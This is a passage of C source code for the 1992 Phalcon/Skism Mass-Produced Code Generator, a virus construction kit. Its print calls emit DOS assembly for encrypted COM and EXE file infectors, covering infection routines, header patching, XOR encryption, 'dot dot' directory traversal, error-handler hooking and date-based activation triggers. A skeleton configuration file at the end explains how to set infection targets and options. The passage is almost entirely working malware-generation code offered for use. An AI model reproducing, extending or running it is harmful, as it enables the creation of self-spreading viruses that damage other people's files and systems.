  945.   print("mov  cx,word ptr [bp+newDTA+16h]","time");
  946.   print("mov  dx,word ptr [bp+newDTA+18h]","date");
  947.   print("int  21h","");
  948.   printblank();
  949.   print("mov  ah,3eh","Close file");
  950.   print("int  21h","");
  951.   printblank();
  952.   print("mov ch,0","");
  953.   print("mov cl,byte ptr [bp+newDTA+15h]","Restore original");
  954.   print("call attributes","attributes");
  955.   printblank();
  956.   if (config.maxinfect)
  957.   {
  958.     print("dec  byte ptr [bp+numinfec]","One mo infection");
  959.     print("jnz  mo_infections","Not enough");
  960.     if (config.p.calls_check)
  961.       print("pop  ax","remove call from stack");
  962.     print("jmp  done_infections","");
  963.   }
  964.   printlabel("mo_infections: jmp find_next","");
  965.   printblank();
  966. }
  967.  
  968. void write_encrypt(void)
  969. {
  970.   if (!config.p.allowzero)
  971.     printlabel("get_encrypt_value:","");
  972.   print("mov  ah,2ch","Get current time");
  973.   print("int  21h","dh=sec,dl=1/100 sec");
  974.   if (!config.p.allowzero) {
  975.     print("or  dx,dx","Check if encryption value = 0");
  976.     print("jz  get_encrypt_value","Get another if it is");
  977.   }
  978.   print("mov  [bp+decrypt_value],dx","Set new encryption value");
  979.   addheap("code_store:","db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)","");
  980.  _addheap("; The following code is the buffer for the write function");
  981.   print("lea  di,[bp+code_store]","");
  982.   print("mov  ax,5355h","push bp,push bx");
  983.   print("stosw","");
  984.   print("lea  si,[bp+decrypt]","Copy encryption function");
  985.   print("mov  cx,startencrypt-decrypt","Bytes to move");
  986.   print("push si","Save for later use");
  987.   print("push cx","");
  988.   print("rep  movsb","");
  989.   printblank();
  990.   if (config.xor_value)
  991.   {
  992.     char b[80];
  993.     sprintf(b,"xor  byte ptr [bp+decrypt_loop+%c],0%2.2xh",
  994.        (config.p.infectEXE) ? '2' : '1', config.xor_value);
  995.     print(b,config.xor_comment);
  996.     printblank();
  997.   }
  998.   print("lea    si,[bp+write]","Copy writing function");
  999.   print("mov    cx,endwrite-write","Bytes to move");
  1000.   print("rep    movsb","");
  1001.   print("pop    cx","");
  1002.   print("pop    si","");
  1003.  
  1004.   print("pop    dx","Entry point of virus");
  1005.  
  1006.   print("push   di","");
  1007.   print("push   si","");
  1008.   print("push   cx","");
  1009.   print("rep    movsb","Copy decryption function");
  1010.   print("mov    ax,5b5dh","pop bx,pop bp");
  1011.   print("stosw","");
  1012.   print("mov    al,0c3h","retn");
  1013.   print("stosb","");
  1014.   printblank();
  1015.   print("add    dx,offset startencrypt - offset decrypt","Calculate new");
  1016.   print("mov    word ptr [bp+patch_startencrypt+1],dx","starting offset of");
  1017.   print("call   code_store","decryption");
  1018.   print("pop    cx","");
  1019.   print("pop    di","");
  1020.   print("pop    si","");
  1021.   print("rep    movsb","Restore decryption function");
  1022.   printblank();
  1023. }
  1024.  
  1025. void code_infect_EXE(void)
  1026. {
  1027.   print("les  ax, dword ptr [bp+buffer+14h]","Save old entry point");
  1028.   print("mov  word ptr [bp+jmpsave2], ax","");
  1029.   print("mov  word ptr [bp+jmpsave2+2], es","");
  1030.   printblank();
  1031.   print("les  ax, dword ptr [bp+buffer+0Eh]","Save old stack");
  1032.   print("mov  word ptr [bp+stacksave2], es","");
  1033.   print("mov  word ptr [bp+stacksave2+2], ax","");
  1034.   printblank();
  1035.   print("mov  ax, word ptr [bp+buffer + 8]","Get header size");
  1036.   print("mov  cl, 4","convert to bytes");
  1037.   print("shl  ax, cl","");
  1038.   print("xchg ax, bx","");
  1039.   printblank();
  1040.   print("les  ax, [bp+offset newDTA+26]","Get file size");
  1041.   print("mov  dx, es","to DX:AX");
  1042.   print("push ax","");
  1043.   print("push dx","");
  1044.   printblank();
  1045.   print("sub  ax, bx","Subtract header size from");
  1046.   print("sbb  dx, 0","file size");
  1047.   printblank();
  1048.   print("mov  cx, 10h","Convert to segment:offset");
  1049.   print("div  cx","form");
  1050.   printblank();
  1051.   print("mov  word ptr [bp+buffer+14h], dx","New entry point");
  1052.   print("mov  word ptr [bp+buffer+16h], ax","");
  1053.   printblank();
  1054.   print("mov  word ptr [bp+buffer+0Eh], ax","and stack");
  1055.   print("mov  word ptr [bp+buffer+10h], id","");
  1056.   printblank();
  1057.   print("pop  dx","get file length");
  1058.   print("pop  ax","");
  1059.   printblank();
  1060.   if (config.p.encrypt)
  1061.     print("add  ax, heap-decrypt","add virus size");
  1062.   else
  1063.     print("add  ax, heap-startvirus","add virus size");
  1064.   print("adc  dx, 0","");
  1065.   printblank();
  1066.   print("mov  cl, 9","");
  1067.   print("push ax","");
  1068.   print("shr  ax, cl","");
  1069.   print("ror  dx, cl","");
  1070.   print("stc","");
  1071.   print("adc  dx, ax","");
  1072.   print("pop  ax","");
  1073.   print("and  ah, 1","mod 512");
  1074.   printblank();
  1075.   print("mov  word ptr [bp+buffer+4], dx","new file size");
  1076.   print("mov  word ptr [bp+buffer+2], ax","");
  1077.   printblank();
  1078.   print("push cs","restore ES");
  1079.   print("pop  es","");
  1080.   printblank();
  1081.   if (config.p.encrypt)
  1082.     print("push word ptr [bp+buffer+14h]","needed later");
  1083.   print("mov  cx, 1ah","");
  1084. }
  1085. ----------------------------------- Cut Here ----------------------------------
  1086. /* FILE: VMAIN.C */
  1087. /* The Phalcon/Skism Mass-Produced Code Generator *
  1088.  * Version 0.90ß - 27 Jul 92 - Initial Release    *
  1089.  * Written by Dark Angel of Phalcon/Skism         *
  1090.  * Source code released with 40Hex-8              *
  1091.  */
  1092.  
  1093. #include <stdio.h>
  1094.  
  1095. #define MAIN
  1096. #include "vheader.h"
  1097. #undef MAIN
  1098.  
  1099. globals config;
  1100.  
  1101. void parse_config(void);
  1102. unsigned getnumber(int line, char *d, char ok, char *next);
  1103. char getyn(int line, char *d);
  1104. void setplusminus(char *a, char b);
  1105. void parseactivate(int line, char *d, char min, char max, char *a, char *b,char *s);
  1106. void printerror(int line, char c);
  1107. void getDBname(char *orig, char *name,char *delim);
  1108.  
  1109. FILE *fp;
  1110.  
  1111. void main(int argc, char **argv)
  1112. {
  1113.   char c,filename[80];
  1114.  
  1115.   puts("PS-MPC ■ Phalcon/Skism Mass Produced Code Generator");
  1116.   puts("       ■ Version 0.90ß        Written by Dark Angel\n");
  1117.  
  1118.   if (argc < 2)
  1119.   {
  1120.     puts("Syntax: PS-MPC <file1> <file2> ...");
  1121.     puts("  file1 = name of first configuration file");
  1122.     puts("  file2 = name of second configuration file");
  1123.   }
  1124.  
  1125.   for (c=1;c<argc;c++)
  1126.   {
  1127.     if ((fp = fopen(argv[c],"rt")) == NULL)
  1128.     {
  1129.       printf("Error opening configuration file (%s).\n",argv[c]);
  1130.       puts("Skipping file...");
  1131.       continue;
  1132.     }
  1133.  
  1134.     printf("Reading configuration file (%s)...",argv[c]);
  1135.     resetheap();
  1136.     parse_config();
  1137.     strcpy(config.configfilename,argv[c]);
  1138.  
  1139.     fclose(fp);
  1140.     puts("Done!");
  1141.  
  1142.     if (!config.p.infectCOM && !config.p.infectEXE) {
  1143.       puts("Warning: Virus does not infect any type of file.");
  1144.       puts("Remedy:  Use the \"infect\" parameter in the configuration file.");
  1145.       puts("Skipping file...");
  1146.       continue;
  1147.     }
  1148.  
  1149.     if (!config.asmfilename[0]) {
  1150.       puts("Warning: No target file name specified.");
  1151.       puts("Remedy:  Use the \"filename\" parameter in the configuration file.");
  1152.       puts("Skipping file...");
  1153.       continue;
  1154.     }
  1155.  
  1156.     if ((fp = fopen(config.asmfilename,"wt")) == NULL)
  1157.     {
  1158.       printf("Error opening target file (%s).\n",config.asmfilename);
  1159.       puts("Skipping file...");
  1160.       continue;
  1161.     }
  1162.  
  1163.     printf("Creating target file (%s)...",config.asmfilename);
  1164.  
  1165.     code_header();
  1166.     code_encryption();
  1167.     code_setup();
  1168.     code_traversal();
  1169.     code_check_activation();
  1170.     code_return();
  1171.     code_activate();
  1172.     code_messages();
  1173.     if (config.p.calls_check)
  1174.       code_check();
  1175.     code_infect();
  1176.     code_subroutines();
  1177.     code_variables();
  1178.     code_heap();
  1179.     code_tail();
  1180.  
  1181.     fclose(fp);
  1182.     puts("Done!");
  1183.   }
  1184.   puts("\nThank you for using the Phalcon/Skism Mass Produced Code Generator");
  1185.   exit(0);
  1186. }
  1187.  
  1188. void print(char *s, char *t)
  1189. {
  1190.   char b[80];
  1191.   sprintf(b,"          %s",s);
  1192.   printlabel(b,t);
  1193. }
  1194.  
  1195. void printlabel(char *s, char *t)
  1196. {
  1197.   int i = 0;
  1198.   if (*s)
  1199.     if (*t) {
  1200.       i = fprintf(fp,"%-40s",s);
  1201.       if (i > 40)
  1202.     fputc(' ',fp);
  1203.       fprintf(fp,"; %s",t);
  1204.     } else /* if (*t) */
  1205.       fprintf(fp,s);
  1206.   fprintf(fp,"\n");
  1207. }
  1208.  
  1209. void addvar(char *s, char *t, char *u)
  1210. {
  1211.   char b[80];
  1212.   if (*u)
  1213.     sprintf(b,"%-20.20s%-20.20s; %s",s,t,u);
  1214.   else
  1215.     sprintf(b,"%-20.20s%s",s,t);
  1216.   printlabel(b,"");
  1217. }
  1218.  
  1219. void parse_config(void)
  1220. {
  1221.     char b[80];
  1222.     char *c, *d;
  1223.     int  line = 0;
  1224.     globals default_globals = {
  1225.     "",                       /* Configuration file name              */
  1226.     "",                       /* Source code file name                */
  1227.     "  ",                     /* EXE ID Word                          */
  1228.     "",                       /* Virus name                           */
  1229.     '\'',                     /* Deliminator for virus name           */
  1230.     "",                       /* Author name                          */
  1231.     '\'',                     /* Deliminator for author name          */
  1232.     0,                        /* Minimum COM size for infection       */
  1233.     0,                        /* Maximum COM size for infection       */
  1234.     0,                        /* Infections per run                   */
  1235.     { 0,0,NONE,0,0,0,0 },     /* flags                                */
  1236.     0,                        /* xor value                            */
  1237.     "",                       /* xor comment                          */
  1238.     0,                        /* number of activation conditions      */
  1239.     { 0,0,0,0,0,-1,0,-1,-1,-1,0 }, /* activation conditions           */
  1240.     { 0,0,0,0,0, 0,0, 0, 0, 0,-1}  /* plusminus activation conditions */
  1241.     };
  1242.  
  1243.     config = default_globals;
  1244.  
  1245.     while (1)
  1246.     {
  1247.     line++;
  1248.     b[0]=0;
  1249.     c = fgets(b,100,fp);
  1250.     if (!b[0])
  1251.       break;
  1252.     while (isspace(*c)) c++;    /* skip initial spaces */
  1253.     if (!*c || *c == ';') continue;    // check if this line is a comment
  1254.     d = c;
  1255.     while (!isspace(*d)) d++;   /* isolate one word  */
  1256.     *d++ = 0;                   /* NULL terminate it */
  1257.     while (isspace(*d) || (*d == '=')) d++;
  1258.  
  1259.     if (!stricmp(c,"filename"))
  1260.     {
  1261.       c = d;
  1262.       while (!isspace(*d)) d++; /* isolate filename */
  1263.       *d = 0;
  1264.       strcpy(config.asmfilename,c);
  1265.     }
  1266.  
  1267.     else if (!stricmp(c,"traversal"))
  1268.       switch (toupper(*d))
  1269.       {
  1270.         case 'N' : config.p.traverse = NONE; break;
  1271.         case 'D' : config.p.traverse = DOT_DOT; break;
  1272.         default  : printerror(line,*d);
  1273.       }
  1274.  
  1275.     else if (!stricmp(c,"encryption")) config.p.encrypt = getyn(line,d);
  1276.  
  1277.     else if (!stricmp(c,"infect")) {
  1278.       while (!isspace(*d)) {
  1279.         switch (toupper(*d))
  1280.         {
  1281.           case 'C' : config.p.infectCOM = 1; break;
  1282.           case 'E' : config.p.infectEXE = 1; break;
  1283.           case ',' : break;
  1284.           default  : printerror(line,*d);
  1285.         }
  1286.         d++;
  1287.       }
  1288.     }
  1289.  
  1290.     else if (!stricmp(c,"idword")) {
  1291.       config.id[0] = (isspace(*d)) ? ' ' : *d;
  1292.       config.id[1] = (isspace(*(d+1))) ? ' ' : *(d+1);
  1293.       config.id[2]=0;
  1294.     }
  1295.  
  1296.     else if (!stricmp(c,"minsize")) {
  1297.       if (toupper(*d) == 'A')
  1298.         config.minsize = 1;
  1299.       else {
  1300.         config.minsize = getnumber(line,d,0,0);
  1301.         if (config.maxsize > 1)
  1302.           if (config.minsize > config.maxsize)
  1303.         puts("Error: minsize is greater than maxsize!");
  1304.       }
  1305.     }
  1306.  
  1307.     else if (!stricmp(c,"maxsize")) {
  1308.       if (toupper(*d) == 'A')
  1309.         config.maxsize = 1;
  1310.       else {
  1311.         config.maxsize = getnumber(line,d,0,0);
  1312.         if (config.minsize > 1)
  1313.           if (config.maxsize < config.minsize)
  1314.         printf("Error: minsize is greater than maxsize!\n");
  1315.       }
  1316.     }
  1317.  
  1318.     else if (!stricmp(c,"infections"))
  1319.       config.maxinfect = (unsigned char)getnumber(line,d,0,0);
  1320.  
  1321.     else if (!stricmp(c,"errorhandler"))
  1322.       config.p.int24 = getyn(line,d);
  1323.  
  1324.     else if (!stricmp(c,"commandcom"))
  1325.       config.p.CommandCom = getyn(line,d);
  1326.  
  1327.     else if (!stricmp(c,"virusname"))
  1328.       getDBname(d,config.virusname,&config.virusnamedelim);
  1329.  
  1330.     else if (!stricmp(c,"authorname"))
  1331.       getDBname(d,config.authorname,&config.authornamedelim);
  1332.  
  1333.     else if (!stricmp(c,"allowzero"))
  1334.       config.p.allowzero = getyn(line,d);
  1335.  
  1336.     else if (!stricmp(c,"always")) {
  1337.       config.activate.always = getyn(line,d);
  1338.       if (config.activate.always) config.activation++;
  1339.     }
  1340.  
  1341.     else if (!stricmp(c,"ifmonth"))
  1342.       parseactivate(line,d,1,12,&config.activate.month,&config.plusminus.month,"month");
  1343.  
  1344.     else if (!stricmp(c,"ifday"))
  1345.       parseactivate(line,d,1,31,&config.activate.day,&config.plusminus.day,"day");
  1346.  
  1347.     else if (!stricmp(c,"ifyear"))
  1348.     {
  1349.       config.activate.year = getnumber(line,d,'+',d);
  1350.       setplusminus((char *)&config.plusminus.year,*d);
  1351.       config.activation++;
  1352.     }
  1353.  
  1354.     else if (!stricmp(c,"ifdow"))
  1355.       parseactivate(line,d,0,6,&config.activate.dow,&config.plusminus.dow,"date of week");
  1356.  
  1357.     else if (!stricmp(c,"ifmonthday"))
  1358.     {
  1359.       int  tempint;
  1360.       char temp=(char)getnumber(line,d,',',d);
  1361.       if ((temp < 1) || (temp > 12))
  1362.         printf("Invalid month: %d.  Must range between 1 and 12.\n",temp);
  1363.       else {
  1364.         d++;
  1365.         tempint = temp*0x100;
  1366.         temp=(char)getnumber(line,d,'+',d);
  1367.         if ((temp < 1) || (temp > 31))
  1368.         {
  1369.           printf("Invalid day: %d.  Must range between 1 and 31.\n",temp);
  1370.         } else {
  1371.           config.activate.monthday=tempint + temp;
  1372.           setplusminus((char *)&config.plusminus.monthday,*d);
  1373.           config.activation++;
  1374.         }
  1375.       }
  1376.     }
  1377.  
  1378.     else if (!stricmp(c,"ifhour"))
  1379.       parseactivate(line,d,0,23,&config.activate.hour,&config.plusminus.hour,"hour");
  1380.  
  1381.     else if (!stricmp(c,"ifminute"))
  1382.       parseactivate(line,d,0,59,&config.activate.minute,&config.plusminus.minute,"minute");
  1383.  
  1384.     else if (!stricmp(c,"ifsecond"))
  1385.       parseactivate(line,d,0,59,&config.activate.second,&config.plusminus.second,"second");
  1386.  
  1387.     else if (!stricmp(c,"percentage"))
  1388.       parseactivate(line,d,1,99,&config.activate.percentage,0,"percentage");
  1389.  
  1390.     else if (!isspace(c))
  1391.       printf("Error in line %d: Invalid parameter '%s'.\n",line,c);
  1392.     }
  1393. }
  1394.  
  1395. unsigned int getnumber(int line,char *d,char ok,char *next)
  1396. {
  1397.   int temp = 0;
  1398.   while (isdigit(*d))
  1399.   {
  1400.     temp*=10;
  1401.     temp+=(*d-'0');
  1402.     d++;
  1403.   }
  1404.   if ((ok == '+') && (!((*d == '+') || (*d == '-'))) && !isspace(*d))
  1405.     printerror(line,*d);
  1406.   else
  1407.     if (next) *next=*d;
  1408.   return temp;
  1409. }
  1410.  
  1411. char getyn(int line,char *d)
  1412. {
  1413.   switch (toupper(*d))
  1414.   {
  1415.     case 'Y' : return 1;
  1416.     case 'N' : return 0;
  1417.     default  : printerror(line,*d);
  1418.   }
  1419.   return 0;
  1420. }
  1421.  
  1422. void setplusminus(char *a, char b)
  1423. {
  1424.     if (b == '+')
  1425.       *a = 1;
  1426.     else if (b == '-')
  1427.       *a = -1;
  1428.     else
  1429.       *a = 0;
  1430. }
  1431.  
  1432. void parseactivate(int line, char *d, char min, char max, char *a, char *b, char *s)
  1433. {
  1434.   char *c=d;
  1435.   char temp = (char)getnumber(line,d,'+',c);
  1436.   if ((temp < min) || (temp > max))
  1437.     printf("Invalid %s specified: %d.  Range must be between %d & %d.\n",s,temp,min,max);
  1438.   else {
  1439.     *a = temp;
  1440.     if (b != 0) setplusminus(b,*c);
  1441.     config.activation++;
  1442.   }
  1443. }
  1444.  
  1445. void printerror(int line, char c)
  1446. {
  1447.   printf("Error in line %d: Invalid character '%c'.\n",line,c);
  1448. }
  1449.  
  1450. void printblank(void)
  1451. {
  1452.   fprintf(fp,"\n");
  1453. }
  1454. void getDBname(char *orig, char *name,char *delim)
  1455. {
  1456.   *delim = '\'';
  1457.   orig[strlen(orig)-1] = 0;
  1458.   if (strchr(orig,'\''))
  1459.     if (strchr(orig,'\"')) {
  1460.       *delim = 0;
  1461.       printf("Error in %s: Both single and double quotes used.",orig);
  1462.     }
  1463.     else
  1464.       *delim = '\"';
  1465.   if (*delim)
  1466.     strcpy(name,orig);
  1467. }
  1468. ----------------------------------- Cut Here ----------------------------------
  1469. /* FILE: VMESSAGE.C */
  1470. #include "vheader.h"
  1471.  
  1472. void code_messages(void)
  1473. {
  1474.     char b[80];
  1475.     addvar("creator","db '[MPC]',0","Mass Produced Code Generator");
  1476.     if (config.virusname[0]) {
  1477.       sprintf(b,"db %c%s%c,0",config.virusnamedelim, config.virusname,
  1478.                   config.virusnamedelim);
  1479.       addvar("virusname",b,"");
  1480.     }
  1481.     if (config.authorname[0]) {
  1482.       sprintf(b,"db %c%s%c,0",config.authornamedelim, config.authorname,
  1483.                   config.authornamedelim);
  1484.       addvar("author",b,"");
  1485.     }
  1486.     printblank();
  1487. }
  1488. ----------------------------------- Cut Here ----------------------------------
  1489. /* FILE: VRETURN.C */
  1490. #include "vheader.h"
  1491.  
  1492. void return_EXE(void);
  1493. void return_COM(void);
  1494.  
  1495. void code_return(void)
  1496. {
  1497.   char s[80];
  1498.   if (config.activation)
  1499.     printlabel("exit_virus:","");
  1500.   if (config.p.int24)
  1501.   {
  1502.     print("mov  ax,2524h","Restore int 24 handler");
  1503.     print("lds  dx,[bp+offset oldint24]","to original");
  1504.     print("int  21h","");
  1505.     print("push cs","");
  1506.     print("pop  ds","");
  1507.     printblank();
  1508.   }
  1509.   if (config.p.traverse == DOT_DOT) {
  1510.     print("mov  ah,3bh","change directory");
  1511.     print("lea  dx,[bp+origdir-1]","original directory");
  1512.     print("int  21h","");
  1513.     printblank();
  1514.   }
  1515.   print("mov  ah,1ah","restore DTA to default");
  1516.   print("mov  dx,80h","DTA in PSP");
  1517.   if (config.p.infectEXE)
  1518.   {
  1519.     if (config.p.infectCOM)
  1520.     {
  1521.       print("cmp  sp,id-4","EXE or COM?");
  1522.       print("jz   returnEXE","");
  1523.       printlabel("returnCOM:","");
  1524.       return_COM();
  1525.       printlabel("returnEXE:","");
  1526.       return_EXE();
  1527.     } else /* EXE only */
  1528.     {
  1529.       return_EXE();
  1530.     }
  1531.   } else
  1532.   {
  1533.     return_COM();
  1534.     addvar("save3","db 0cdh,20h,0","First 3 bytes of COM file");
  1535.   }
  1536.   printblank();
  1537. }
  1538.  
  1539. void return_EXE(void)
  1540. {
  1541.   print("pop  es","");
  1542.   print("pop  ds","");
  1543.   print("int  21h","");
  1544.   print("mov  ax,es","AX = PSP segment");
  1545.   print("add  ax,10h","Adjust for PSP");
  1546.   print("add  word ptr cs:[bp+jmpsave+2],ax","");
  1547.   print("add  ax,word ptr cs:[bp+stacksave+2]","");
  1548.   print("cli","Clear intrpts for stack manipulation");
  1549.   print("mov  sp,word ptr cs:[bp+stacksave]","");
  1550.   print("mov  ss,ax","");
  1551.   print("sti","");
  1552.   print("db   0eah","jmp ssss:oooo");
  1553.   addvar("jmpsave","dd ?","Original CS:IP");
  1554.   addvar("stacksave","dd ?","Original SS:SP");
  1555.   if (config.p.infectCOM) {
  1556.     addvar("jmpsave2","db ?","Actually four bytes");
  1557.     addvar("save3","db 0cdh,20h,0","First 3 bytes of COM file");
  1558.   } else
  1559.     addvar("jmpsave2","dd 0fff00000h","Needed for carrier file");
  1560.   addvar("stacksave2","dd ?","");
  1561. }
  1562.  
  1563. void return_COM(void)
  1564. {
  1565.   print("int  21h","");
  1566.   print("retn","100h is on stack");
  1567. }
  1568. ----------------------------------- Cut Here ----------------------------------
  1569. /* FILE: VSETUP.C */
  1570. #include "vheader.h"
  1571.  
  1572. void restore_COM(void);
  1573. void restore_EXE(void);
  1574.  
  1575. void code_setup(void)
  1576. {
  1577.   addheap("buffer","db 1ah dup (?)","read buffer");
  1578.   if (!config.p.encrypt)
  1579.     printlabel("startvirus:","virus code starts here");
  1580.   print("call next","calculate delta offset");
  1581.   printlabel("next:     pop  bp","bp = IP next");
  1582.   print("sub  bp,offset next","bp = delta offset");
  1583.   printblank();
  1584.   if (config.p.infectEXE)
  1585.   {
  1586.     if (config.p.infectCOM) /* COM & EXE */
  1587.     {
  1588.       print("cmp  sp,id","COM or EXE?");
  1589.       print("je   restoreEXE","");
  1590.       printlabel("restoreCOM:","");
  1591.       restore_COM();
  1592.       print("jmp  short restoreEXIT","");
  1593.       printlabel("restoreEXE:","");
  1594.       restore_EXE();
  1595.       printlabel("restoreEXIT:","");
  1596.       print("movsw","");
  1597.     } else /* EXE ONLY */
  1598.       restore_EXE();
  1599.   } else
  1600.     restore_COM();
  1601.  
  1602.   printblank();
  1603.   if (config.maxinfect)
  1604.   {
  1605.     char b[80];
  1606.     addheap("numinfec","db ?","Infections this run");
  1607.     sprintf(b,"mov  byte ptr [bp+numinfec],%u",config.maxinfect);
  1608.     print(b,"reset infection counter");
  1609.     printblank();
  1610.   }
  1611.   print("mov  ah,1Ah","Set new DTA");
  1612.   print("lea  dx,[bp+newDTA]","new DTA @ DS:DX");
  1613.   print("int  21h","");
  1614.   printblank();
  1615.   addheap("newDTA","db 43 dup (?)","Temporary DTA");
  1616.   if (config.p.traverse == DOT_DOT)
  1617.   {
  1618.     print("mov  ah,47h","Get current directory");
  1619.     print("mov  dl,0","Current drive");
  1620.     print("lea  si,[bp+origdir]","DS:SI->buffer");
  1621.     print("int  21h","");
  1622.     print("mov  byte ptr [bp+backslash],'\\'","Prepare for later CHDIR");
  1623.     addheap("origdir","db 64 dup (?)","Current directory buffer");
  1624.     addheap("backslash","db ?","");
  1625.     printblank();
  1626.   }
  1627.   if (config.p.int24)
  1628.   {
  1629.     addheap("oldint24","dd ?","Storage for old int 24h handler");
  1630.     print("mov  ax,3524h","Get int 24 handler");
  1631.     print("int  21h","to ES:BX");
  1632.     print("mov  word ptr [bp+oldint24],bx","Save it");
  1633.     print("mov  word ptr [bp+oldint24+2],es","");
  1634.     print("mov  ah,25h","Set new int 24 handler");
  1635.     print("lea  dx,[bp+offset int24]","DS:DX->new handler");
  1636.     print("int  21h","");
  1637.     print("push cs","Restore ES");
  1638.     print("pop  es","'cuz it was changed");
  1639.     printblank();
  1640.   }
  1641. }
  1642.  
  1643. void restore_EXE(void)
  1644. {
  1645.   print("push ds","");
  1646.   print("push es","");
  1647.   print("push cs","DS = CS");
  1648.   print("pop  ds","");
  1649.   print("push cs","ES = CS");
  1650.   print("pop  es","");
  1651.   print("lea  si,[bp+jmpsave2]","");
  1652.   print("lea  di,[bp+jmpsave]","");
  1653.   print("movsw","");
  1654.   print("movsw","");
  1655.   print("movsw","");
  1656.   if (!config.p.infectCOM)
  1657.     print("movsw","");
  1658. }
  1659.  
  1660. void restore_COM(void)
  1661. {
  1662.   print("lea  si,[bp+save3]","");
  1663.   print("mov  di,100h","");
  1664.   print("push di","For later return");
  1665.   if (!config.p.infectEXE)
  1666.     print("movsw","");
  1667.   print("movsb","");
  1668. }
  1669. ----------------------------------- Cut Here ----------------------------------
  1670. /* FILE: VSUBS.C */
  1671. #include "vheader.h"
  1672.  
  1673. void code_subroutines(void)
  1674. {
  1675.   printlabel("open:","");
  1676.   print("mov  ah,3dh","");
  1677.   print("lea  dx,[bp+newDTA+30]","filename in DTA");
  1678.   print("int  21h","");
  1679.   print("xchg ax,bx","");
  1680.   print("ret","");
  1681.   printblank();
  1682.   printlabel("attributes:","");
  1683.   print("mov  ax,4301h","Set attributes to cx");
  1684.   print("lea  dx,[bp+newDTA+30]","filename in DTA");
  1685.   print("int  21h","");
  1686.   print("ret","");
  1687.   printblank();
  1688.   if (config.p.encrypt)
  1689.   {
  1690.     printlabel("write:","");
  1691.     print("pop  bx","Restore file handle");
  1692.     print("pop  bp","Restore relativeness");
  1693.     print("mov  ah,40h","Write to file");
  1694.     print("lea  dx,[bp+decrypt]","Concatenate virus");
  1695.     print("mov  cx,heap-decrypt","# bytes to write");
  1696.     print("int  21h","");
  1697.     print("push bx","");
  1698.     print("push bp","");
  1699.     printlabel("endwrite:","");
  1700.     printblank();
  1701.   }
  1702.   if (config.p.int24)
  1703.   {
  1704.     printlabel("int24:","New int 24h (error) handler");
  1705.     print("mov  al,3","Fail call");
  1706.     print("iret","Return control");
  1707.     printblank();
  1708.   }
  1709. }
  1710. ----------------------------------- Cut Here ----------------------------------
  1711. /* FILE: VTAIL.C */
  1712. #include "vheader.h"
  1713.  
  1714. void code_tail(void)
  1715. {
  1716.   if (config.p.infectCOM)
  1717.     printlabel("end       entry_point","");
  1718.   else
  1719.     if (config.p.encrypt)
  1720.       printlabel("end       decrypt","");
  1721.     else
  1722.       printlabel("end       startvirus","");
  1723. }
  1724. ----------------------------------- Cut Here ----------------------------------
  1725. /* FILE: VTRAVEL.C */
  1726. #include "vheader.h"
  1727.  
  1728. void code_traversal_generic(void);
  1729. void dot_dot(void);
  1730. void lea_exe(void);
  1731. void lea_com(void);
  1732.  
  1733. void code_traversal(void)
  1734. {
  1735.   config.p.calls_check = 0;
  1736.   switch (config.p.traverse)
  1737.   {
  1738.     case NONE:    code_traversal_generic(); break;
  1739.     case DOT_DOT: printlabel("dir_scan:","\"dot dot\" traversal");
  1740.           code_traversal_generic();
  1741.           dot_dot();
  1742.           break;
  1743.   }
  1744.   printblank();
  1745.   printlabel("done_infections:","");
  1746. }
  1747.  
  1748. void code_traversal_generic(void)
  1749. {
  1750.   if (config.p.infectEXE) {
  1751.     lea_exe();
  1752.     if (!config.p.infectCOM)
  1753.       code_check();
  1754.   }
  1755.   if (config.p.infectCOM) {
  1756.     lea_com();
  1757.     if (config.p.infectEXE)
  1758.       config.p.calls_check++;
  1759.     else
  1760.       code_check();
  1761.   }
  1762. }
  1763.  
  1764. void lea_exe(void)
  1765. {
  1766.   print("lea  dx,[bp+exe_mask]","");
  1767.   if (config.p.infectCOM)
  1768.     print("call infect_mask","");
  1769. }
  1770.  
  1771. void lea_com(void)
  1772. {
  1773.   print("lea  dx,[bp+com_mask]","");
  1774.   if (config.p.infectEXE)
  1775.     print("call infect_mask","");
  1776. }
  1777.  
  1778. void dot_dot(void)
  1779. {
  1780.   print("mov  ah,3bh","change directory");
  1781.   print("lea  dx,[bp+dot_dot]","\"cd ..\"");
  1782.   print("int  21h","");
  1783.   print("jnc  dir_scan","go back for mo!");
  1784. }
  1785. ----------------------------------- Cut Here ----------------------------------
  1786. /* FILE: VVAR.C */
  1787. #include "vheader.h"
  1788.  
  1789. void code_variables(void)
  1790. {
  1791.   if (config.p.infectEXE) addvar("exe_mask","db '*.exe',0","");
  1792.   if (config.p.infectCOM) addvar("com_mask","db '*.com',0","");
  1793.   if (config.p.traverse == DOT_DOT)
  1794.     addvar("dot_dot","db '..',0","");
  1795. }
  1796. ----------------------------------- Cut Here ----------------------------------
  1797. ; FILE: SKELETON.CFG
  1798. ; Skeleton configuration file for PS-MPC version 0.90ß
  1799. ; Lines beginning with semicolons denote comments
  1800.  
  1801. ; Required parameters:
  1802.  
  1803. ; Filename = <string>
  1804. ; This is the filename to be generated by PS-MPC as the source code file.
  1805. Filename = target.asm
  1806.  
  1807. ; Infect = (C,E)
  1808. ; COM, EXE
  1809. ; Note: You can mix the two, a la "Infect = C,E"  Do not use a space to
  1810. ;       deliminate the two parameters.
  1811. Infect = C,E
  1812.  
  1813. ; Optional parameters - Defaults are shown in square brackets
  1814.  
  1815. ; Traversal = <N,D>
  1816. ; ([None], Dot Dot)
  1817. ; If None is specified, then only the files in the current directory will be
  1818. ; infected.  If Dot dot is specified, then files in the current directory and
  1819. ; subdirectories below the current will be infected.
  1820. Traversal = N
  1821.  
  1822. ; Encrypted = <Y,N>
  1823. ; (Yes, [No])
  1824. ; Only turn off encryption if you wish to limit the size of the virus.
  1825. Encryption = Y
  1826.  
  1827. ; IDWord = XX
  1828. ; ([  ],XX)
  1829. ; The IDWord consists of two characters which are used to identify already
  1830. ; infected EXE files.  This line is not needed in COM-only infectors.  Do
  1831. ; not use an apostrophe or the source code will not assemble properly.
  1832. IDWord = DA
  1833.  
  1834. ; MinSize = #
  1835. ; (A,[0]..65535)
  1836. ; MinSize is used only in the infection of COM files.  Files under MinSize
  1837. ; bytes are not infected.  MinSize = 0 turns off this option.  MinSize = A
  1838. ; indicates use of the virus's effective length as the minimum size.  This
  1839. ; line is ignored in EXE-specific infectors.
  1840. MinSize = 0
  1841.  
  1842. ; MaxSize = #
  1843. ; (A,[0]..65535)
  1844. ; MaxSize is used only in the infection of COM files.  Files above MaxSize
  1845. ; bytes are not infected.  MaxSize = 0 turns off this option.  MaxSize = A
  1846. ; indicates automatic calculation of maximum size. This line is not needed
  1847. ; in EXE-only infectors.
  1848. MaxSize = A
